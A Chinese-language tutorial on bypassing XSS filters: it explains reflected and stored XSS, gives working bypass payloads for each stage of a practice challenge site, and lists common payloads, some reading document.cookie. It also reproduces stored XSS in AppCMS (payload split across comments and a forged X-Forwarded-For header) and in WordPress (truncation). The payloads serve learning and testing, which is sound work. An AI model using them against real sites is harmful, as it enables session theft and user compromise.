xss的filter绕过
一、xss原理和分类
1、xss原理
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
2、xss分类
(1)反射性xss
反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。在搜索框中,提交PoC[scriptalert(/xss/)/script],点击搜索,即可触发反射型XSS。值得注意的是我们提交的poc 会出现在search.php 页面的keywords 参数中。
(2)存储型XSS
存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言以此来触发xss。
二、XSS漏洞的危害
在HTML中常用到字符实体,将常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标签导致代码被恶意篡改。就出现了危害,它的危害主要针对用户和web服务两个对象,如图所示。
三、xss漏洞的测试
1、黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
URL的每一个参数、URL本身、表单、搜索框、常见业务场景
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
2、白盒测试
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP中常见的接收参数的方式有GET、POST、REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。
四、XSS的各种bypass技巧
xss绕过我们以网站XSS Challenges为选择,通过练习来提升自己的技巧和思维。
Stag#1:
通关代码:
<script>alert(document.domain)</script>
通过输入测试以及检查网页,我们发现本关无过滤,可直接弹出。
Stag2:
通关代码:
1" οnclick="alert(document.domain)
通过测试发现过滤了关键字‘script’,所以得找一个没有‘script’关键字的输入,这时候就可以用到JavaScript的js事件了,先用 1”
闭合输入,然后执行js事件中的‘onclick’事件,即可弹出窗口,轻松通关。
Stag#3:
通关代码:
<script>alert(document.domain)</script>
通过上传参数测试发现输入无法绕过,然后检查元素和抓包可知,提交方式为“post”方式,分别有p1、p2两个参数,p1有过滤且无法绕过无法实现弹窗,但是通过观察发现p2是通过选项选择输出,未发现过滤。
随意输入一个参数作为p1,通过抓包软件将请求包修改,将p2的值’Japan’修改为xss代码提交。
返回以后出现弹窗,顺利通过。
Stag#4:
通关代码:
1" > <script>alert(document.domain)</script>
与Stag#3思路相同,抓包时发现参数多了p3,且经过尝试p1、p2均无法绕过。所以我们将注意力放在了p3。经过尝试,先用1”
闭合输入,然后用>
闭合input标签,最后加上xss代码提交。
返回以后出现弹窗,顺利通过。
Stag#5:
通关代码:
1" > <script>alert(document.domain)</script>
在尝试中我发现它对输入的字符长度做了限制,但是在包中输入就没有了限制,于是跟与Stag#3思路相同,抓包将p1的值修改为xss代码提交。
返回以后出现弹窗,顺利通过。
Stag#6:
通关代码
1" οnclick="alert(document.domain)
在尝试中发现它将<>
转义了,所以我得找一个没有<>
的xss语句,于是使用js事件轻松过关。
Stag#7:
通关代码
1' onclick=alert(document.domain)
本关与Stag#6一模一样,只是将1"
闭合改为1'
闭合,轻松过关。
Stag#8:
通关代码:
javascript:alert(document.domain)
通过测试我发现它是将值放入a标签直接返回在URL中点击,则直接使用javascript伪协议即可轻松愉快通关。
Stag#9:
跳过。打开检查元素,具体操作如下:
Stag#10:
通关代码:
1' onclick=alert(document.ddomainomain)
通过简单的测试,我们发现过滤了需要弹窗的关键字domain,但是弹窗需要domain,一个简单的双写小技巧即可,通过先闭合输入然后双写domain即可轻松通过。
Stag#11就打不开了,练习就此结束。
五、常用的标签以及个人学习心得
1、常用标签
首先给出常用标签的基本形式,如下:
<script>alert(document.domain)</script>
<script>confirm('1')</script>
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script>alert(String.fromCharCode(65))</script>
<ouyangxiangan/onclick="alert('xss')">lilin
<img src=1 onerror="alert('xss')">
<img src=1 onerror=alert(document.cookie)>
<svg onload=alert(1)>
<a href="javascript:alert('xss')">aaa</a>
<video src=1 onerror=alert(1)>
<button onfocus=alert(1) autofocus>
<body onload=alert(1)>
<input type="text" onclick=alert('xss') />
<img src=1" ononerrorerror=location="javajavascripscrip:alert%25282%2529"/>
2、学习心得
通过对xss的学习,我主要想通过本人遇到可使用xss的情况下的思考方式,然后记录一些遇到的问题以及解决方法。
遇到一个搜索框,首先随意传一个参数,然后通过网页检查看以下四个很重要的东西传参方式、参数个数、是否回显、是否可以闭合输入、是否过滤符号、关键字。
遇到以后可以试试以下思路:闭合、双写、编码、寻找其他标签、反斜杠代替空格、合理使用注释、location拼接字符串‘+’、使用抓包工具。可以使用一种也可以多种混合使用,xss就是一个试错的过程,也许不经意间就成功了。
七、开源网站的xss复现
本文的开源网站主要选取了appcms、wordpress两个开源网站来复现。
如果需要这两个网站的压缩包请自取:https://blog.csdn.net/weixin_45873676/article/details/112985656
1、appcms
网页打开如下所示:
随意点开某个软件它都存在留言板如下:
用户可以随意评论,如下所示:
直接上传xss恶意代码显然不可取,也无法成功。
检查网页元素,不难发现它的评论是在依次出现的,那它是不是存在xss弹弹弹的可能性呢?
首先评论是依次出现的,然后发现回显评论的时候它会带着我们本机ip地址,那它是怎么获取我们的ip地址的呢?ip地址是可以伪造的。两者情况都有了,现在我们还需要知道PHP是怎么注释的呢?
依次出现的问题已解决,X-FORWARDED-FOR用来表示 HTTP 请求端真实 IP伪造,我们通过伪造X-FORWARDED-FOR字段同样也可以达到伪造ip的目的,最后是PHP的注释如下:
//这是单行注释
/*
这就是多行注释
*/
那最后我们忙活了这么久有什么用呢?<script>alert(12148)</script>
标签一次性传输不了,那我们是不是可以把它拆开传输呢?由于它是依次出现,显然可取但是中间还有其他部分,那是不是多行注释就有用了?说干就干!
正常标签如下:
<script>alert(12148)</script>
我们是不是可以写成这样呢?
<script>/**/alert(12148)/**/</script>
将它拆分成如下:
<script>/*
其他代码
*/alert(12148)/*
其他代码
*/</script>
拆分成如上三段,我们就可以使用两条留言来上传这段代码了,每条留言我们都有留言内容和X-FORWARDED-FOR这两个地方可以用,那我们是不是可以这样上传呢?
第二条:
内容:
随便写
X-FORWARDED-FOR:
<script>/*
第一条
内容:
*/alert(12148)/*
X-FORWARDED-FOR:
*/</script>
思路清晰,那我们就上传吧。上传以后由于它是存储型,我们需要模拟管理员登录后台才能看到。
展示结果如下:
可见弹窗成功,漏洞复现成功。观看源代码结果也和我们预想的一模一样,如下所示:
漏洞复现成功。
2、wordpress
网站打开如下:
它的漏洞是由于mysql输入长字节会发生截断,导致出现了这个漏洞。
<abbr title="qweqw style=display:block;position:fixed;width:100%;height:100%;top:0; οnmοuseοver=alert(1)// 𝌆">
在输入框输入这条语句,则会出现截断,出现弹窗。结果展示如下:
我们在数据库中查看这条数据,如下:
漏洞复现成功。
学习结束,其他知识再见!